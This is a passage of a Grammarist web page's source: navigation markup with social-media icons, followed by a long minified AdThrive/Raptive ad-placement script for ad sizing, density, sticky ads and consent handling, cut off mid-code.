class="gb-button gb-button-5c30f14e mobile-menu-socials" href="https://twitter.com/_grammarist"><span class="gb-icon"><svg aria-hidden="true" height="1em" width="1em" viewBox="0 0 512 512" xmlns="http://www.w3.org/2000/svg"><path fill="currentColor" d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253z"></path></svg></span></a> 1869 1870 1871 1872<a class="gb-button gb-button-f90a098b mobile-menu-socials" href="https://www.facebook.com/grammaristweb/"><span class="gb-icon"><svg aria-hidden="true" height="1em" width="1em" viewBox="0 0 320 512" xmlns="http://www.w3.org/2000/svg"><path fill="currentColor" d="M279.14 288l14.22-92.66h-88.91v-60.13c0-25.35 12.42-50.06 52.24-50.06h40.42V6.26S260.43 0 225.36 0c-73.22 0-121.08 44.38-121.08 124.72v70.62H22.89V288h81.39v224h100.17V288z"></path></svg></span></a> 1873 1874 1875 1876<a class="gb-button gb-button-faaafc5c mobile-menu-socials" href="https://www.youtube.com/channel/UCFhPTWXjPIw1qlZ0mhWCQtQ"><span class="gb-icon"><svg aria-hidden="true" role="img" height="1em" width="1em" viewBox="0 0 576 512" xmlns="http://www.w3.org/2000/svg"><path fill="currentColor" d="M549.655 124.083c-6.281-23.65-24.787-42.276-48.284-48.597C458.781 64 288 64 288 64S117.22 64 74.629 75.486c-23.497 6.322-42.003 24.947-48.284 48.597-11.412 42.867-11.412 132.305-11.412 132.305s0 89.438 11.412 132.305c6.281 23.65 24.787 41.5 48.284 47.821C117.22 448 288 448 288 448s170.78 0 213.371-11.486c23.497-6.321 42.003-24.171 48.284-47.821 11.412-42.867 11.412-132.305 11.412-132.305s0-89.438-11.412-132.305zm-317.51 213.508V175.185l142.739 81.205-142.739 81.201z"></path></svg></span></a> 1877 1878</div> 1879</section> </div><!-- .inside-navigation --> 1880 </nav><!-- #site-navigation --> 1881 1882 <div class="slideout-overlay"> 1883 </div>
vendor: 112 bytes, lines 1883-1884
1883 1884 <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script>
1884<script data-no-optimize='1' data-cfasync='false' id='cls-insertion-cbeddd4'>(function(){window.adthriveCLS.buildDate=`2026-09-22`;let e={Below_Post_1:`Below_Post_1`,Below_Post:`Below_Post`,Content:`Content`,Content_1:`Content_1`,Content_2:`Content_2`,Content_3:`Content_3`,Content_4:`Content_4`,Content_5:`Content_5`,Content_6:`Content_6`,Content_7:`Content_7`,Content_8:`Content_8`,Content_9:`Content_9`,Recipe:`Recipe`,Recipe_1:`Recipe_1`,Recipe_2:`Recipe_2`,Recipe_3:`Recipe_3`,Recipe_4:`Recipe_4`,Recipe_5:`Recipe_5`,Native_Recipe:`Native_Recipe`,Footer_1:`Footer_1`,Footer:`Footer`,Header_1:`Header_1`,Header_2:`Header_2`,Header:`Header`,Sidebar_1:`Sidebar_1`,Sidebar_2:`Sidebar_2`,Sidebar_3:`Sidebar_3`,Sidebar_4:`Sidebar_4`,Sidebar_5:`Sidebar_5`,Sidebar_9:`Sidebar_9`,Sidebar:`Sidebar`,Interstitial_1:`Interstitial_1`,Interstitial:`Interstitial`,Video_StickyOutstream_1:`Video_StickyOutstream_1`,Video_StickyOutstream:`Video_StickyOutstream`,Video_StickyInstream:`Video_StickyInstream`,Sponsor_Tile:`Sponsor_Tile`},t=[`siteId`,`siteName`,`adOptions`,`breakpoints`,`adUnits`],n=(e,n=t)=>{if(!e)return window.adthriveCLS&&(window.adthriveCLS.disabled=!0),!1;for(let t=0;t<n.length;t++)if(!e[n[t]])return window.adthriveCLS&&(window.adthriveCLS.disabled=!0),!1;return!0},r=()=>window.adthriveCLS;function i(e){"@babel/helpers - typeof";return i=typeof Symbol==`function`&&typeof Symbol.iterator==`symbol`?function(e){return typeof e}:function(e){return e&&typeof Symbol==`function`&&e.constructor===Symbol&&e!==Symbol.prototype?`symbol`:typeof e},i(e)}function a(e,t){if(i(e)!=`object`||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t||`default`);if(i(r)!=`object`)return r;throw TypeError(`@@toPrimitive must return a primitive value.`)}return(t===`string`?String:Number)(e)}function o(e){var t=a(e,`string`);return i(t)==`symbol`?t:t+``}function s(e,t,n){return(t=o(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var c=class{constructor(){s(this,`_clsGlobalData`,r())}get enabled(){return!!this._clsGlobalData&&!!this._clsGlobalData.siteAds&&n(this._clsGlobalData.siteAds)}get error(){return!!(this._clsGlobalData&&this._clsGlobalData.error)}set siteAds(e){this._clsGlobalData.siteAds=e}get siteAds(){return this._clsGlobalData.siteAds}set disableAds(e){this._clsGlobalData.disableAds=e}get disableAds(){return this._clsGlobalData.disableAds}get enabledLocations(){return[e.Below_Post,e.Content,e.Recipe,e.Sidebar]}get injectedFromPlugin(){return this._clsGlobalData.injectedFromPlugin}set injectedFromPlugin(e){this._clsGlobalData.injectedFromPlugin=e}get injectedFromSiteAds(){return this._clsGlobalData.injectedFromSiteAds}set injectedFromSiteAds(e){this._clsGlobalData.injectedFromSiteAds=e}setInjectedSlots(e){this._clsGlobalData.injectedSlots=this._clsGlobalData.injectedSlots||[],this._clsGlobalData.injectedSlots.push(e)}get injectedSlots(){return this._clsGlobalData.injectedSlots}setInjectedVideoSlots(e){this._clsGlobalData.injectedVideoSlots=this._clsGlobalData.injectedVideoSlots||[],this._clsGlobalData.injectedVideoSlots.push(e)}get injectedVideoSlots(){return this._clsGlobalData.injectedVideoSlots}setExperiment(e,t,n=!1){this._clsGlobalData.experiments=this._clsGlobalData.experiments||{},this._clsGlobalData.siteExperiments=this._clsGlobalData.siteExperiments||{};let r=n?this._clsGlobalData.siteExperiments:this._clsGlobalData.experiments;r[e]=t}getExperiment(e,t=!1){let n=t?this._clsGlobalData.siteExperiments:this._clsGlobalData.experiments;return n&&n[e]}setWeightedChoiceExperiment(e,t,n=!1){this._clsGlobalData.experimentsWeightedChoice=this._clsGlobalData.experimentsWeightedChoice||{},this._clsGlobalData.siteExperimentsWeightedChoice=this._clsGlobalData.siteExperimentsWeightedChoice||{};let r=n?this._clsGlobalData.siteExperimentsWeightedChoice:this._clsGlobalData.experimentsWeightedChoice;r[e]=t}getWeightedChoiceExperiment(e,t=!1){var n,r;let i=t?(n=this._clsGlobalData)==null?void 0:n.siteExperimentsWeightedChoice:(r=this._clsGlobalData)==null?void 0:r.experimentsWeightedChoice;return i&&i[e]}get bucket(){return this._clsGlobalData.bucket}set videoDisabledFromPlugin(e){this._clsGlobalData.videoDisabledFromPlugin=e}get videoDisabledFromPlugin(){return this._clsGlobalData.videoDisabledFromPlugin}set targetDensityLog(e){this._clsGlobalData.targetDensityLog=e}get targetDensityLog(){return this._clsGlobalData.targetDensityLog}get removeVideoTitleWrapper(){return this._clsGlobalData.siteAds.adOptions.removeVideoTitleWrapper}},l=class{},u=class extends l{constructor(e,t=Math.random){super(),this._probability=e,this._random=t}get(){if(this._probability<0||this._probability>1)throw Error(`Invalid probability: ${this._probability}`);return this._random()<this._probability}},d=class{constructor(){s(this,`_featureRollouts`,{}),s(this,`_checkedFeatureRollouts`,new Map),s(this,`_enabledFeatureRolloutIds`,[])}get siteFeatureRollouts(){return this._featureRollouts}_isRolloutEnabled(e){if(this._doesRolloutExist(e)){let t=this._featureRollouts[e],n=t.enabled,r=t.data;if(this._doesRolloutHaveConfig(e)&&this._isFeatureRolloutConfigType(r)){let e=(r.pct_enabled??100)/100;n&&=new u(e).get()}return n}return!1}isRolloutEnabled(e){let t=this._checkedFeatureRollouts.get(e)??this._isRolloutEnabled(e);return this._checkedFeatureRollouts.get(e)===void 0&&this._checkedFeatureRollouts.set(e,t),t}isRolloutAdministrativelyEnabled(e){return this._doesRolloutExist(e)&&this._featureRollouts[e].enabled}_doesRolloutExist(e){return this._featureRollouts&&!!this._featureRollouts[e]}_doesRolloutHaveConfig(e){return this._doesRolloutExist(e)&&`data`in this._featureRollouts[e]}_isFeatureRolloutConfigType(e){return typeof e==`object`&&!!e&&!!Object.keys(e).length}getSiteRolloutConfig(e){var t;let n=this.isRolloutEnabled(e),r=(t=this._featureRollouts[e])==null?void 0:t.data;return n&&this._doesRolloutHaveConfig(e)&&this._isFeatureRolloutConfigType(r)?r:{}}get enabledFeatureRolloutIds(){return this._enabledFeatureRolloutIds}},f=class extends d{constructor(e){super(),this._featureRollouts=e,this._setEnabledFeatureRolloutIds()}_setEnabledFeatureRolloutIds(){Object.entries(this._featureRollouts).forEac
1884h(([e,t])=>{this.isRolloutEnabled(e)&&t.featureRolloutId!==void 0&&this._enabledFeatureRolloutIds.push(t.featureRolloutId)})}},p,m;let h=(p=window.adthrive)==null||(p=p.siteAds)==null?void 0:p.featureRollouts,g=(m=window.adthriveCLS)==null||(m=m.siteAds)==null?void 0:m.featureRollouts,_=e=>!!e&&typeof e==`object`&&Object.keys(e).length>0,v=new f(_(g)&&g||_(h)&&h||{}),y=new f(window.adthrive&&window.adthrive.siteAds&&`featureRollouts`in window.adthrive.siteAds?window.adthrive.siteAds.featureRollouts??{}:{}),b=e=>e.indexOf(`hbs-q`)===0,ee=({bucket:e,isRolloutEnabled:t}={})=>{var n;let r=e??((n=window.adthrive)==null?void 0:n.bucket);return!(t??y.isRolloutEnabled.bind(y))(`enable-sticky-related`)||b(r||``)},x=e=>{let t={};return function(...n){let r=JSON.stringify(n);if(r in t)return t[r];let i=e.apply(this,n);return t[r]=i,i}};navigator.vendor;let S=navigator.userAgent,C=x(e=>/Chrom|Applechromium/.test(e||S)),te=x(()=>/WebKit/.test(S)),ne=x(()=>C()?`chromium`:te()?`webkit`:`other`),re=e=>/(Windows NT|Macintosh|X11;[^)]*(Linux|CrOS))/i.test(e),ie=e=>/Mobi|iP(hone|od)|Opera Mini/i.test(e),ae=e=>!/iPhone/i.test(e)&&/Mac/i.test(e)&&`ontouchstart`in window,w=e=>/Tablet|iPad|Playbook|Nook|webOS|Kindle|Android (?!.*Mobile).*Safari/i.test(e)||ae(e),T=x((e=S)=>w(e)?`tablet`:ie(e)&&!w(e)?`mobile`:re(e)?`desktop`:`tablet`),oe={desktop:`desktop`,tablet:`tablet`,phone:`mobile`},se=e=>e===`mobile`?`phone`:e,ce=()=>{var e;let t=((e=window)==null?void 0:e.adthrive)&&`deviceType`in window.adthrive&&window.adthrive.deviceType||null;return t&&Object.values(oe).includes(t)?t:null},le=x((e,t)=>{let n=T(e),r=t??n;return se(r===`tablet`&&n!==r?n:r)}),E=(e=navigator.userAgent)=>le(e,ce()),D=(e=navigator.userAgent)=>E(e)===`phone`;var ue,O=class{static _scheduleViewportUpdate(){this._rafId===null&&(this._rafId=window.requestAnimationFrame(()=>{this._rafId=null,this._updateViewportRects()}))}static _updateViewportRects(){if(this._trackedElements.size===0){this._detachViewportListeners();return}let e=[];this._trackedElements.forEach(t=>{if(!t.isConnected){e.push(t);return}this._cachedRects.set(t,t.getBoundingClientRect())}),e.forEach(e=>{this._trackedElements.delete(e),this._cachedRects.delete(e)}),this._trackedElements.size===0&&this._detachViewportListeners()}static _attachViewportListeners(){this._listenersAttached||=(window.addEventListener(`scroll`,this._viewportListener,{passive:!0}),window.addEventListener(`resize`,this._viewportListener),!0)}static _detachViewportListeners(){this._listenersAttached&&=(window.removeEventListener(`scroll`,this._viewportListener),window.removeEventListener(`resize`,this._viewportListener),!1)}static trackViewportElement(e){e&&(this._trackedElements.has(e)||(this._trackedElements.add(e),this._attachViewportListeners(),this._scheduleViewportUpdate()))}static untrackViewportElement(e){e&&(this._trackedElements.delete(e),this._cachedRects.delete(e),this._trackedElements.size===0&&this._detachViewportListeners())}static getCachedRect(e){return this._cachedRects.get(e)}static getScrollTop(){return(window.pageYOffset||document.documentElement.scrollTop)-(document.documentElement.clientTop||0)}static getScrollBottom(){let e=window.innerHeight||document.documentElement.clientHeight||document.body.clientHeight||0;return this.getScrollTop()+e}static shufflePlaylist(e){let t=e.length,n,r;for(;t!==0;)r=Math.floor(Math.random()*e.length),--t,n=e[t],e[t]=e[r],e[r]=n;return e}static isMobileLandscape(){return window.matchMedia(`(orientation: landscape) and (max-height: 480px)`).matches}static playerViewable(e){let t=this._cachedRects.get(e)??e.getBoundingClientRect();return this.playerViewableFromRect(t)}static playerViewableFromRect(e){return this.isMobileLandscape()?window.innerHeight>e.top+e.height/2&&e.top+e.height/2>0:window.innerHeight>e.top+e.height/2}static createQueryString(e){return Object.keys(e).map(t=>`${t}=${e[t]}`).join(`&`)}static createEncodedQueryString(e){return Object.keys(e).map(t=>`${t}=${encodeURIComponent(e[t])}`).join(`&`)}static setMobileLocation(e,t=!1){e||=`bottom-right`;let n=t?`raptive-player-sticky`:`adthrive-collapse`;return e===`top-left`?e=`${n}-top-left`:e===`top-right`?e=`${n}-top-right`:e===`bottom-left`?e=`${n}-bottom-left`:e===`bottom-right`?e=`${n}-bottom-right`:e===`top-center`&&(e=`adthrive-collapse-${D()?`top-center`:`bottom-right`}`),e}static addMaxResolutionQueryParam(e){let t=`max_resolution=${D()?`320`:`1280`}`,[n,r]=String(e).split(`?`);return`${n}?${r?r+`&${t}`:t}`}};ue=O,s(O,`_trackedElements`,new Set),s(O,`_cachedRects`,new WeakMap),s(O,`_rafId`,null),s(O,`_listenersAttached`,!1),s(O,`_viewportListener`,()=>{ue._scheduleViewportUpdate()});let k=(e,t)=>e==null||e!==e?t:e;var de=class{constructor(e){this._clsOptions=e,s(this,`relatedSettings`,void 0),s(this,`players`,void 0),s(this,`removeVideoTitleWrapper`,void 0),s(this,`footerSelector`,void 0),s(this,`shouldDisableStickyRelated`,void 0),this.removeVideoTitleWrapper=k(this._clsOptions.siteAds.adOptions.removeVideoTitleWrapper,!1),this.shouldDisableStickyRelated=ee({bucket:this._clsOptions.bucket,isRolloutEnabled:v.isRolloutEnabled.bind(v)});let t=this._clsOptions.siteAds.videoPlayers;this.footerSelector=k(t&&t.footerSelector,``),this.players=k(t&&t.players.map(e=>(e.mobileLocation=O.setMobileLocation(e.mobileLocation),e)),[]),this.relatedSettings=t&&t.contextual}},fe=class{constructor(e){s(this,`mobileStickyPlayerOnPage`,!1),s(this,`collapsiblePlayerOnPage`,!1),s(this,`playlistPlayerAdded`,!1),s(this,`relatedPlayerAdded`,!1),s(this,`collapseSettings`,void 0),s(this,`footerSelector`,``),s(this,`removeVideoTitleWrapper`,!1),s(this,`desktopCollapseSettings`,void 0),s(this,`mobileCollapseSettings`,void 0),s(this,`relatedSettings`,void 0),s(this,`playerId`,void 0),s(this,`playlistId`,void 0),s(this,`desktopRelatedCollapseSettings`,void 0),s(this,`mobileRelatedCollapseSettings`,void 0),s(this,`collapsePlayerId`,void 0),s(this,`players`,void 0),s(this,`videoAdOptions`,void 0),s(this,`shouldDisableStickyRelated`,void 0),this.videoAdOptions=new de(e),this.players=this.videoAdOptions.players,this.relatedSettings=this.videoAdOptions.relatedSettings,this.removeVideoTitleWrapper=this.videoAdOptions.removeVideoTitleWrapper,this.footerSelector=this.videoAdOptions.footerSelector,this.shouldDisableStickyRelated=this.videoAdOptions.shouldDisableStickyRelated}};
1884let pe=[[300,50],[300,90],[320,50],[320,100]],A=(t,n)=>t===e.Recipe&&n===`phone`,me=([e,t])=>pe.some(([n,r])=>n===e&&r===t),he=e=>{let t=e.clientWidth;if(getComputedStyle){let n=getComputedStyle(e,null);t-=parseFloat(n.paddingLeft||`0`)+parseFloat(n.paddingRight||`0`)}return t},ge=()=>document.createDocumentFragment().querySelectorAll(`*`),j=(e,t=document)=>{try{return{valid:!0,elements:t.querySelectorAll(e)}}catch(e){return{valid:!1,elements:ge(),error:e}}},M=(e,t=document)=>{try{return{valid:!0,element:t.querySelector(e)}}catch(e){return{valid:!1,element:null,error:e}}},N=e=>j(e),P=e=>{if(e===``)return{valid:!0};let t=N(e);return t.valid?{valid:!0,elements:t.elements}:{valid:!1,error:t.error}},F=new class{info(e,t,...n){this.call(console.info,e,t,...n)}warn(e,t,...n){this.call(console.warn,e,t,...n)}error(e,t,...n){this.call(console.error,e,t,...n),this.sendErrorLogToCommandQueue(e,t,...n)}event(e,t,...n){var r;((r=window.adthriveCLS)==null?void 0:r.bucket)===`debug`&&this.info(e,t)}sendErrorLogToCommandQueue(e,t,...n){window.adthrive=window.adthrive||{},window.adthrive.cmd=window.adthrive.cmd||[],window.adthrive.cmd.push(()=>{window.adthrive.logError!==void 0&&typeof window.adthrive.logError==`function`&&window.adthrive.logError(e,t,n)})}call(e,t,n,...r){let i=[`%c${t}::${n} `],a=[`color: #999; font-weight: bold;`];r.length>0&&typeof r[0]==`string`&&i.push(r.shift()),a.push(...r);try{Function.prototype.apply.call(e,console,[i.join(``),...a])}catch(e){console.error(e);return}}},_e=[[728,90],[300,250],[300,600],[320,50],[970,250],[160,600],[300,1050],[336,280],[970,90],[300,50],[300,90],[320,100],[468,60],[250,250],[120,240],[1,1],[300,300],[300,420],[728,250],[320,300],[300,390]],ve=new Map([[e.Footer,1],[e.Header,2],[e.Sidebar,3],[e.Content,4],[e.Recipe,5],[`Sidebar_sticky`,6],[`Below Post`,7]]),ye=e=>_e.filter(([t,n])=>e.some(([e,r])=>t===e&&n===r)),be=(t,[n,r],i)=>{let{location:a,sequence:o}=t;if(a===e.Footer)return!(i===`phone`&&n===320&&r===100);if(a===e.Header)return!0;if(a===e.Recipe)return!(D()&&i===`phone`&&(n===300&&r===390||n===320&&r===300));if(a===e.Sidebar){let e=t.adSizes.some(([,e])=>e<=300),n=!!o&&o<=5,i=r>300;return i&&!e||o===9?!0:n?i?t.sticky:!0:!i}else return!0},xe=(t,n)=>{let{location:r,sticky:i}=t;if(r===e.Recipe&&n){let{recipeMobile:e,recipeDesktop:t}=n;if(D()&&e!=null&&e.enabled||!D()&&t!=null&&t.enabled)return!0}return r===e.Footer||i},Se=(e,t)=>{var n;let i=(n=r())==null?void 0:n.experiments;return i!==void 0&&Object.prototype.hasOwnProperty.call(i,`smra1`)&&i.smra1===!0&&D()&&A(e,t)},Ce=(t,n)=>{let r=n.adUnits,i=v.isRolloutEnabled(`enable-250px-max-ad-height`);return r.filter(e=>e.dynamic!==void 0&&e.dynamic.enabled).map(r=>{let a=r.location.replace(/\s+/g,`_`),o=a===`Sidebar`?0:2;a===e.Content&&i&&C()&&(r.adSizes=r.adSizes.filter(e=>e[1]<=250));let s=Se(a,t),c=[];for(let e of k(r.targeting,[])){let t=e;t.key===`special`&&c.push(...t.value)}let l=ye(r.adSizes).filter(e=>be(r,e,t)&&(s?me(e):!(e[0]===300&&e[1]===90)));return{auctionPriority:ve.get(a)||8,location:a,sequence:k(r.sequence,1),thirdPartyAdUnitName:r.thirdPartyAdUnitName||``,customGamTargeting:r.customGamTargeting||{},sizes:l,devices:r.devices,pageSelector:k(r.dynamic.pageSelector,``).trim(),elementSelector:k(r.dynamic.elementSelector,``).trim(),position:k(r.dynamic.position,`beforebegin`),max:Math.floor(k(r.dynamic.max,0)),spacing:k(r.dynamic.spacing,0),skip:Math.floor(k(r.dynamic.skip,0)),every:Math.max(Math.floor(k(r.dynamic.every,1)),1),classNames:r.dynamic.classNames||[],sticky:xe(r,n.adOptions.stickyContainerConfig),stickyOverlapSelector:k(r.stickyOverlapSelector,``).trim(),autosize:r.autosize,special:c,lazy:k(r.dynamic.lazy,!1),lazyMax:k(r.dynamic.lazyMax,o),lazyMaxDefaulted:r.dynamic.lazyMax===0?!1:!r.dynamic.lazyMax,name:r.name}})},we=(t,n)=>{let r=he(n),i=t.sticky&&t.location===e.Sidebar;return t.sizes.filter(e=>{let n=t.autosize?e[0]<=r||e[0]<=320:!0,a=i?e[1]<=window.innerHeight-100:!0;return n&&a})},Te=(e,t)=>
1884e.devices.includes(t),Ee=e=>{if(e.pageSelector.length===0)return!0;let t=M(e.pageSelector);return t.valid?t.element!==null:!1},I={Desktop:`desktop`,Mobile:`mobile`},De=e=>{let t=document.body,n=`adthrive-device-${e}`;if(!t.classList.contains(n))try{t.classList.add(n)}catch(e){F.error(`BodyDeviceClassComponent`,`init`,{message:e.message});let t=`classList`in document.createElement(`_`);F.error(`BodyDeviceClassComponent`,`init.support`,{support:t})}},L=e=>`adthrive-${e.location.replace(`_`,`-`).toLowerCase()}`,Oe=e=>`${L(e)}-${e.sequence}`;function ke(e,t,n){let r=e.pageOverrides.filter(e=>{let t=P(e.pageSelector);return t.valid||n==null||n({selector:e.pageSelector,selectorType:`pageOverride.pageSelector`,source:`getPageDensitySettings`,error:t.error}),e.pageSelector===``||t.elements&&t.elements.length}).map(e=>e[t]);return r.length?r[0]:e[t]}function Ae({targetDensity:e,targetAll:t,totalAvailableElements:n,mainContentHeight:r,minDivHeight:i,recipeCount:a}){return t?n:Math.floor(e*r/(1-e)/i)-a}function je(e,t,n,r){return e.filter(e=>{try{return t.querySelector(e.elementSelector)}catch(t){return r==null||r({selector:e.elementSelector,selectorType:`elementSelector`,source:`getCombinedMax`,context:n==null?void 0:n(e),error:t}),!1}}).map(e=>Number(e.max)+Number(e.lazyMaxDefaulted?0:e.lazyMax)).sort((e,t)=>t-e)[0]||0}let Me=(e,t)=>{if(e<=0)return{spacing:0,nextAfter:0,reasons:[`non-density-disabled`]};let n=t*e;return{spacing:n,nextAfter:n,reasons:[`non-density-viewport-ratio`]}},Ne=({settings:e,densityDevice:t,dynamicAds:n,target:r,totalAvailableElements:i,mainContentHeight:a,minDivHeight:o,recipeCount:s,selectorContext:c,onInvalidSelector:l})=>{let u=ke(e,t,l),d=u.adDensity,f=u.onePerViewport,p=d===.99,m=Ae({targetDensity:d,targetAll:p,totalAvailableElements:i,mainContentHeight:a,minDivHeight:o,recipeCount:s}),h=je(n,r,c,l);return{onePerViewport:f,targetAll:p,targetDensity:d,targetDensityUnits:m,combinedMax:h,numberOfUnits:Math.min(i,m,...h>0?[h]:[]),reasons:[p?`target-all-eligible`:`target-density-formula`,...f?[`viewport-floor`]:[]]}},Pe=({totalAvailableElements:e,targetDensityUnits:t,numberOfUnits:n,mainContentHeight:r,absoluteMinimumSpacing:i,viewportHeight:a,onePerViewport:o})=>{let s=e>t||e>n,c=[],l,u;return s?(u=!1,l=r/Math.min(t,n),c.push(`wider-spacing`)):(u=!0,l=o&&a>i?a:i,c.push(`absolute-minimum`)),o&&a>l?(c.push(`viewport-floor`),{insertEvery:a,usedAbsoluteMinimum:u,reasons:c}):{insertEvery:l,usedAbsoluteMinimum:u,reasons:c}},Fe=(e,t)=>{let n=e*.6;return n<=t?{insertEvery:t,usedAbsoluteMinimum:!0,reasons:[`clamped-absolute-minimum`]}:{insertEvery:n,usedAbsoluteMinimum:!1,reasons:[`wider-spacing`]}},Ie=(e,t)=>window.matchMedia(`(min-width: ${t}px)`).matches?`desktop`:window.matchMedia(`(min-width: ${e}px)`).matches?`tablet`:`phone`,R=e=>{let t=e.offsetHeight,n=e.offsetWidth,r=e.getBoundingClientRect(),i=document.body,a=document.documentElement,o=window.pageYOffset||a.scrollTop||i.scrollTop,s=window.pageXOffset||a.scrollLeft||i.scrollLeft,c=a.clientTop||i.clientTop||0,l=a.clientLeft||i.clientLeft||0,u=Math.round(r.top+o-c),d=Math.round(r.left+s-l);return{top:u,left:d,bottom:u+t,right:d+n,width:n,height:t}},Le=(e=document)=>(e===document?document.body:e).getBoundingClientRect().top,Re=e=>e.includes(`,`)?e.split(`,`):[e],ze=(e=document)=>{let t=e.querySelectorAll(`article`);if(t.length===0)return null;let n=Array.from(t).reduce((e,t)=>t.offsetHeight>e.offsetHeight?t:e);return n&&n.offsetHeight>window.innerHeight*1.5?n:null},Be=(e,t,n=document)=>{let r=new Set(t.map.map(({el:e})=>e)),i=ze(n),a=i?[i]:[],o=[];e.forEach(e=>{let t=j(e.elementSelector,n);if(!t.valid)return;let i=Array.from(t.elements),s=Re(e.elementSelector),c=s.length===1?i:[];s.length>1&&s.forEach(e=>{Array.from(j(e,n).elements).forEach(e=>{c.push(e)})});let l=new Set(i.slice(0,e.skip));for(let t of c){if(r.has(t))continue;let n=t.parentElement;n&&n!==document.body?a.push(n):a.push(t),l.has(t)||o.push({dynamicAd:e,element:t})}});let s=Le(n),c=o.map(e=>({item:e,top:e.element.getBoundingClientRect().top-s}));return c.sort((e,t)=>e.top-t.top),[a,c.map(({item:e})=>e)]},Ve=(e,t,n=document)=>{let[r,i]=Be(e,t,n);return r.length===0?[null,i]:[Array.from(r).reduce((e,t)=>
1884t.offsetHeight>e.offsetHeight?t:e)||document.body,i]},He=(e,t=`div #comments, section .comments`)=>{let n=e.querySelector(t);return n?e.offsetHeight-n.offsetHeight:e.offsetHeight},Ue=()=>{let e=document.body,t=document.documentElement;return Math.max(e.scrollHeight,e.offsetHeight,t.clientHeight,t.scrollHeight,t.offsetHeight)},We=()=>{let e=document.body,t=document.documentElement;return Math.max(e.scrollWidth,e.offsetWidth,t.clientWidth,t.scrollWidth,t.offsetWidth)};function z(e,t){t===void 0&&(t={});var n=t.insertAt;if(!(!e||typeof document>`u`)){var r=document.head||document.getElementsByTagName(`head`)[0],i=document.createElement(`style`);i.type=`text/css`,n===`top`&&r.firstChild?r.insertBefore(i,r.firstChild):r.appendChild(i),i.styleSheet?i.styleSheet.cssText=e:i.appendChild(document.createTextNode(e))}}let Ge=e=>e===9,Ke=e=>Ge(e)?`rp-sticky-sb-wrapper`:`rp-sticky-sidebar`,qe=e=>z(` 1885 .adthrive-device-phone .adthrive-sticky-content { 1886 height: 450px !important; 1887 margin-bottom: 100px !important; 1888 } 1889 .adthrive-content.adthrive-sticky { 1890 position: -webkit-sticky; 1891 position: sticky !important; 1892 top: 42px !important; 1893 margin-top: 42px !important; 1894 } 1895 .adthrive-content.adthrive-sticky:after { 1896 content: "— Advertisement. Scroll down to continue. —"; 1897 font-size: 10pt; 1898 margin-top: 5px; 1899 margin-bottom: 5px; 1900 display:block; 1901 color: #888; 1902 } 1903 .adthrive-sticky-container { 1904 position: relative; 1905 display: flex; 1906 flex-direction: column; 1907 justify-content: flex-start; 1908 align-items: center; 1909 min-height:${e||400}px; 1910 margin: 10px 0 10px 0; 1911 background-color: #FAFAFA; 1912 padding-bottom:0px; 1913 } 1914 `),Je=e=>{z(` 1915 .adthrive-recipe.adthrive-sticky { 1916 position: -webkit-sticky; 1917 position: sticky !important; 1918 top: 42px !important; 1919 margin-top: 42px !important; 1920 } 1921 .adthrive-recipe-sticky-container { 1922 position: relative; 1923 display: flex; 1924 flex-direction: column; 1925 justify-content: flex-start; 1926 align-items: center; 1927 min-height:${e||400}px !important; 1928 margin: 10px 0 10px 0; 1929 background-color: #FAFAFA; 1930 padding-bottom:0px; 1931 } 1932 `)},B=(e,t)=>e.some(e=>{let n=M(e);return n.valid?n.element!==null:(t==null||t(e,n.error),!1)}),Ye=e=>/^[-_a-zA-Z]+[-_a-zA-Z0-9]*$/.test(e),Xe=(e,t,n)=>{let r=e=>e?!!(e.classList.contains(`adthrive-ad`)||e.id.includes(`_${n}_`)):!1;switch(t){case`beforebegin`:return r(e.previousElementSibling);case`afterend`:return r(e.nextElementSibling);case`afterbegin`:return r(e.firstElementChild);case`beforeend`:return r(e.lastElementChild);default:return!1}};var V=class e extends l{constructor(e=[],t,n=Math.random){super(),this._choices=e,this._default=t,this._random=n}static fromArray(t,n){return new e(t.map(([e,t])=>({choice:e,weight:t})),n)}addChoice(e,t){this._choices.push({choice:e,weight:t})}get(){let e=this._random()*100,t=0;for(let{choice:n,weight:r}of this._choices)if(t+=r,t>=e)return n;return this._default}get totalWeight(){return this._choices.reduce((e,{weight:t})=>e+t,0)}};let H={AdDensity:`addensity`,AdLayout:`adlayout`,FooterCloseButton:`footerclose`,Interstitial:`interstitial`,RemoveVideoTitleWrapper:`removevideotitlewrapper`,StickyOutstream:`stickyoutstream`,StickyOutstreamOnStickyPlayer:`sospp`,VideoAdvancePlaylistRelatedPlayer:`videoadvanceplaylistrp`,MobileStickyPlayerPosition:`mspp`};var Ze=class{constructor(){s(this,`name`,void 0),s(this,`disable`,void 0),s(this,`gdprPurposes`,void 0)}};let U=`__adthriveTcfApiStub`,W=`__tcfapiLocator`,G=[],K=!1,q,J=e=>typeof e==`function`&&!!e[U],Qe=(e,t=2)=>{let n=G.findIndex(([n,r,i])=>n===`getTCData`&&r===t&&i===e);return n===-1?!1:(G.splice(n,1),!0)},$e=()=>{let e=()=>{if(document.querySelector(`iframe[name="${W}"]`))return;if(!document.body){setTimeout(e,5);return}let t=document.createElement(`iframe`);t.style.cssText=`display:none`,t.name=W,document.body.appendChild(t)};e()},Y=()=>{let e=window.__tcfapi;return typeof e==`function`&&!J(e)?e:void 0},X=()=>{let e=Y();if(e)for(;G.length>0;){let t=G.shift();if(t)try{e(t[0],t[1],t[2],t[3])}catch(e){e instanceof Error&&e.message}}},et=()=>{if(K)return;if(K=!0,Y()){X();return}let 